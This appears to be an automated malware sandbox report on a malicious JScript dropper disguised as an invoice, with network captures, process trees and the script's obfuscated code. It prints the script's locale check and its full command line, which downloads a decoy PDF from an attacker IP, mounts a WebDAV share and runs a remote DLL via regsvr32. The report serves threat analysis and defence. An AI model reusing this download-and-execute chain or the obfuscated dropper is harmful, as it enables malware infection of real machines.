Jan 11, 2025 04:48:43.796227932 CET	1.1.1.1	192.168.2.5	0x212b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:48:44.795206070 CET	1.1.1.1	192.168.2.5	0x969b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:48:29.091595888 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:48:29.928597927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:48:29.928612947 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:48:29.928622961 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:48:29.928725958 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:48:29.928736925 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 04:48:29.928746939 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 04:48:29.928850889 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 04:48:29.928860903 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 04:48:29.928870916 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 04:48:29.928880930 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 04:48:29.933440924 CET	892	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6476	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:48:31.702721119 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:48:32.504890919 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:48:25
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js"
Imagebase:	0x7ff73e910000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:48:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Imagebase:	0x7ff6bb220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:48:25
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:48:26
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:48:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bb220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:48:31
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b09a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:48:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:48:31
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:48:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1540,i,12895752821458316218,4304939090939258030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rcaryn() {	rcaryn() ➔ undefined
1	fgkpup = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var iacven = this[oixqombl + umcloi + zjfptfdfr + zbzccu + kbildkl + izawwmnkp + spnoszalh + pfweg] ( this[qwjxl + jhichhkxv + ithzlgbdn + zjfptfdfr + gkrylkki + oixqombl + pfweg][gksnm + zjfptfdfr + kbildkl + umcloi + pfweg + kbildkl + yvqvsou + yijnsdzm + mcjvhar + kbildkl + ithzlgbdn + pfweg] ( qwjxl + jhichhkxv + ithzlgbdn + zjfptfdfr + gkrylkki + oixqombl + pfweg + teyois + jhichhkxv + mdlsmlg + kbildkl + ttiyaqzwx + ttiyaqzwx ) [fonbhitg + kbildkl + hslvx + fonbhitg + kbildkl + umcloi + pffmqdq] ( oywap + mdyxud + yxkaqaqop + tbvsxxevb + dhxeypk + gksnm + iucgsyz + fonbhitg + fonbhitg + yxkaqaqop + rsbtw + uskwhcgj + dhxeypk + iucgsyz + jhichhkxv + yxkaqaqop + fonbhitg + apsbhojy + gksnm + hikcnjhn + spnoszalh + pfweg + zjfptfdfr + hikcnjhn + ttiyaqzwx + rydlihnk + lwazj + umcloi + spnoszalh + kbildkl + ttiyaqzwx + apsbhojy + izawwmnkp + spnoszalh + pfweg + kbildkl + zjfptfdfr + spnoszalh + umcloi + pfweg + gkrylkki + hikcnjhn + spnoszalh + umcloi + ttiyaqzwx + apsbhojy + wivwa + hikcnjhn + ithzlgbdn + umcloi + ttiyaqzwx + kbildkl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xfkbuzogg = 0 ; xfkbuzogg < fgkpup[ttiyaqzwx + kbildkl + spnoszalh + hslvx + pfweg + mdlsmlg] ; ++ xfkbuzogg )
4	{
5	if ( iacven == fgkpup[xfkbuzogg] )
6	{
7	iacven = true;
8	break ;
9	}
10	}
11	if ( iacven !== true )
12	this[qwjxl + jhichhkxv + ithzlgbdn + zjfptfdfr + gkrylkki + oixqombl + pfweg][bizxyenbf + yprlprkbm + gkrylkki + pfweg] ( );
13	this[qwjxl + jhichhkxv + ithzlgbdn + zjfptfdfr + gkrylkki + oixqombl + pfweg][gksnm + zjfptfdfr + kbildkl + umcloi + pfweg + kbildkl + yvqvsou + yijnsdzm + mcjvhar + kbildkl + ithzlgbdn + pfweg] ( qwjxl + jhichhkxv + ithzlgbdn + zjfptfdfr + gkrylkki + oixqombl + pfweg + teyois + jhichhkxv + mdlsmlg + kbildkl + ttiyaqzwx + ttiyaqzwx ) [zjfptfdfr + yprlprkbm + spnoszalh] ( ithzlgbdn + dxlhd + pffmqdq + rydlihnk + vjtce + ithzlgbdn + rydlihnk + oixqombl + hikcnjhn + zybvea + kbildkl + zjfptfdfr + zbzccu + mdlsmlg + kbildkl + ttiyaqzwx + ttiyaqzwx + teyois + kbildkl + weuewicdi + kbildkl + rydlihnk + ougrjvwrf + gksnm + hikcnjhn + dxlhd + dxlhd + umcloi + spnoszalh + pffmqdq + rydlihnk + npfhsr + izawwmnkp + spnoszalh + raevle + hikcnjhn + dsaiy + kbildkl + ougrjvwrf + qwjxl + kbildkl + yijnsdzm + fonbhitg + kbildkl + plhtgxn + yprlprkbm + kbildkl + zbzccu + pfweg + rydlihnk + ougrjvwrf + yvqvsou + yprlprkbm + pfweg + ilpjhwfqz + gkrylkki + ttiyaqzwx + kbildkl + rydlihnk + wqrnf + pfweg + kbildkl + dxlhd + oixqombl + wqrnf + apsbhojy + gkrylkki + spnoszalh + raevle + hikcnjhn + gkrylkki + ithzlgbdn + kbildkl + teyois + oixqombl + pffmqdq + kkhmpudsj + rydlihnk + mdlsmlg + pfweg + pfweg + oixqombl + tetfqdow + vjtce + vjtce + ijipihv + slzznaeff + bfrxhzgp + teyois + ijipihv + khwdyu + bfrxhzgp + teyois + ijipihv + teyois + kdxcoinm + tbfpeit + epeyk + vjtce + gkrylkki + spnoszalh + raevle + hikcnjhn + gkrylkki + ithzlgbdn + kbildkl + teyois + oixqombl + mdlsmlg + oixqombl + npfhsr + dxxyh + dxxyh + zbzccu + pfweg + umcloi + zjfptfdfr + pfweg + rydlihnk + wqrnf + pfweg + kbildkl + dxlhd + oixqombl + wqrnf + apsbhojy + gkrylkki + spnoszalh + raevle + hikcnjhn + gkrylkki + ithzlgbdn + kbildkl + teyois + oixqombl + pffmqdq + kkhmpudsj + dxxyh + dxxyh + ithzlgbdn + dxlhd + pffmqdq + rydlihnk + vjtce + ithzlgbdn + rydlihnk + spnoszalh + kbildkl + pfweg + rydlihnk + yprlprkbm + zbzccu + kbildkl + rydlihnk + apsbhojy + apsbhojy + ijipihv + slzznaeff + bfrxhzgp + teyois + ijipihv + khwdyu + bfrxhzgp + teyois + ijipihv + teyois + kdxcoinm + tbfpeit + epeyk + qtuuxb + ayskojke + ayskojke + ayskojke + ayskojke + apsbhojy + pffmqdq + umcloi + raevle + zybvea + zybvea + zybvea + zjfptfdfr + hikcnjhn + hikcnjhn + pfweg + apsbhojy + dxxyh + dxxyh + ithzlgbdn + dxlhd + pffmqdq + rydlihnk + vjtce + ithzlgbdn + rydlihnk + zjfptfdfr + kbildkl + hslvx + zbzccu + raevle + zjfptfdfr + bfrxhzgp + kdxcoinm + rydlihnk + vjtce + zbzccu + rydlihnk + apsbhojy + apsbhojy + ijipihv + slzznaeff + bfrxhzgp + teyois + ijipihv + khwdyu + bfrxhzgp + teyois + ijipihv + teyois + kdxcoinm + tbfpeit + epeyk + qtuuxb + ayskojke + ayskojke + ayskojke + ayskojke + apsbhojy + pffmqdq + umcloi + raevle + zybvea + zybvea + zybvea + zjfptfdfr + hikcnjhn + hikcnjhn + pfweg + apsbhojy + ijipihv + liiabbssd + tbfpeit + wsmpj + ijipihv + kdxcoinm + ijipihv + liiabbssd + wsmpj + liiabbssd + ijipihv + liiabbssd + liiabbssd + kdxcoinm + slzznaeff + teyois + pffmqdq + ttiyaqzwx + ttiyaqzwx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll",0,false) ➔ 0
14	}
15	dxxyh = "q";
16	dxxyh = "y";
17	dxxyh = "y";
18	dxxyh = "H";
19	dxxyh = "w";
20	dxxyh = "E";
21	dxxyh = "&";
22	khwdyu = "E";
23	khwdyu = "W";
24	khwdyu = "E";
25	khwdyu = "W";
26	khwdyu = "B";
27	khwdyu = "M";
28	khwdyu = "v";
29	khwdyu = "r";
30	khwdyu = "r";
31	khwdyu = "U";
32	khwdyu = "L";
33	khwdyu = "y";
34	khwdyu = "N";
35	khwdyu = "w";
36	khwdyu = "k";
37	khwdyu = "c";
38	khwdyu = "X";
39	khwdyu = "H";
40	khwdyu = "p";
41	khwdyu = "F";
42	khwdyu = "C";
43	khwdyu = "N";
44	khwdyu = "P";
45	khwdyu = "m";
46	khwdyu = "d";
47	khwdyu = "i";
48	khwdyu = "R";
49	khwdyu = "d";
50	khwdyu = "K";
51	khwdyu = "C";
52	khwdyu = "q";
53	khwdyu = "n";
54	khwdyu = "u";
55	khwdyu = "o";
56	khwdyu = "V";
57	khwdyu = "B";
58	khwdyu = "e";
59	khwdyu = "h";
60	khwdyu = "A";
61	khwdyu = "4";
62	wsmpj = "o";
63	wsmpj = "W";
64	wsmpj = "p";
65	wsmpj = "y";
66	wsmpj = "J";
67	wsmpj = "D";
68	wsmpj = "J";
69	wsmpj = "k";
70	wsmpj = "J";
71	wsmpj = "g";
72	wsmpj = "k";
73	wsmpj = "G";
74	wsmpj = "X";
75	wsmpj = "E";
76	wsmpj = "n";
77	wsmpj = "r";
78	wsmpj = "V";
79	wsmpj = "z";
80	wsmpj = "t";
81	wsmpj = "J";
82	wsmpj = "B";
83	wsmpj = "P";
84	wsmpj = "R";
85	wsmpj = "L";
86	wsmpj = "Y";
87	wsmpj = "n";
88	wsmpj = "R";
89	wsmpj = "R";
90	wsmpj = "h";
91	wsmpj = "z";
92	wsmpj = "6";
93	dsaiy = "n";
94	dsaiy = "x";
95	dsaiy = "I";
96	dsaiy = "E";
97	dsaiy = "u";
98	dsaiy = "E";
99	dsaiy = "z";
100	dsaiy = "F";
101	dsaiy = "E";
102	dsaiy = "J";
103	dsaiy = "O";
104	dsaiy = "l";
105	dsaiy = "T";
106	dsaiy = "j";
107	dsaiy = "w";
108	dsaiy = "R";
109	dsaiy = "H";
110	dsaiy = "l";
111	dsaiy = "I";
112	dsaiy = "R";
113	dsaiy = "i";
114	dsaiy = "e";
115	dsaiy = "H";
116	dsaiy = "N";
117	dsaiy = "q";
118	dsaiy = "P";
119	dsaiy = "f";
120	dsaiy = "B";
121	dsaiy = "w";
122	dsaiy = "Q";
123	dsaiy = "P";
124	dsaiy = "s";
125	dsaiy = "s";
126	dsaiy = "B";
127	dsaiy = "k";
128	bizxyenbf = "g";
129	bizxyenbf = "u";
130	bizxyenbf = "w";
131	bizxyenbf = "S";
132	bizxyenbf = "N";
133	bizxyenbf = "C";
134	bizxyenbf = "P";
135	bizxyenbf = "O";
136	bizxyenbf = "d";
137	bizxyenbf = "n";
138	bizxyenbf = "A";
139	bizxyenbf = "h";
140	bizxyenbf = "b";
141	bizxyenbf = "g";
142	bizxyenbf = "F";
143	bizxyenbf = "N";
144	bizxyenbf = "D";
145	bizxyenbf = "x";
146	bizxyenbf = "D";
147	bizxyenbf = "D";
148	bizxyenbf = "Q";
149	bizxyenbf = "K";
150	bizxyenbf = "R";
151	bizxyenbf = "e";
152	bizxyenbf = "M";
153	bizxyenbf = "R";
154	bizxyenbf = "a";
155	bizxyenbf = "S";
156	bizxyenbf = "Q";
157	qwjxl = "i";
158	qwjxl = "P";
159	qwjxl = "q";
160	qwjxl = "O";
161	qwjxl = "G";
162	qwjxl = "S";
163	qwjxl = "U";
164	qwjxl = "v";
165	qwjxl = "t";
166	qwjxl = "J";
167	qwjxl = "U";
168	qwjxl = "S";
169	qwjxl = "N";
170	qwjxl = "c";
171	qwjxl = "G";
172	qwjxl = "x";
173	qwjxl = "q";
174	qwjxl = "h";
175	qwjxl = "m";
176	qwjxl = "s";
177	qwjxl = "Z";
178	qwjxl = "x";
179	qwjxl = "x";
180	qwjxl = "e";
181	qwjxl = "t";
182	qwjxl = "q";
183	qwjxl = "b";
184	qwjxl = "L";
185	qwjxl = "y";
186	qwjxl = "m";
187	qwjxl = "W";
188	kdxcoinm = "N";
189	kdxcoinm = "d";
190	kdxcoinm = "V";
191	kdxcoinm = "y";
192	kdxcoinm = "s";
193	kdxcoinm = "q";
194	kdxcoinm = "W";
195	kdxcoinm = "E";
196	kdxcoinm = "l";
197	kdxcoinm = "p";
198	kdxcoinm = "S";
199	kdxcoinm = "X";
200	kdxcoinm = "V";
201	kdxcoinm = "H";
202	kdxcoinm = "c";
203	kdxcoinm = "x";
204	kdxcoinm = "G";
205	kdxcoinm = "a";
206	kdxcoinm = "d";
207	kdxcoinm = "C";
208	kdxcoinm = "l";
209	kdxcoinm = "g";
210	kdxcoinm = "C";
211	kdxcoinm = "n";
212	kdxcoinm = "o";
213	kdxcoinm = "C";
214	kdxcoinm = "a";
215	kdxcoinm = "S";
216	kdxcoinm = "n";
217	kdxcoinm = "U";
218	kdxcoinm = "o";
219	kdxcoinm = "n";
220	kdxcoinm = "2";
221	plhtgxn = "c";
222	plhtgxn = "p";
223	plhtgxn = "Y";
224	plhtgxn = "b";
225	plhtgxn = "L";
226	plhtgxn = "L";
227	plhtgxn = "F";
228	plhtgxn = "K";
229	plhtgxn = "y";
230	plhtgxn = "t";
231	plhtgxn = "u";
232	plhtgxn = "z";
233	plhtgxn = "d";
234	plhtgxn = "U";
235	plhtgxn = "D";
236	plhtgxn = "U";
237	plhtgxn = "r";
238	plhtgxn = "r";
239	plhtgxn = "u";
240	plhtgxn = "q";
241	plhtgxn = "U";
242	plhtgxn = "O";
243	plhtgxn = "A";
244	plhtgxn = "O";
245	plhtgxn = "J";
246	plhtgxn = "j";
247	plhtgxn = "X";
248	plhtgxn = "Y";
249	plhtgxn = "Q";
250	plhtgxn = "J";
251	plhtgxn = "U";
252	plhtgxn = "a";
253	plhtgxn = "Y";
254	plhtgxn = "j";
255	plhtgxn = "V";
256	plhtgxn = "Z";
257	plhtgxn = "i";
258	plhtgxn = "y";
259	plhtgxn = "c";
260	plhtgxn = "t";
261	plhtgxn = "k";
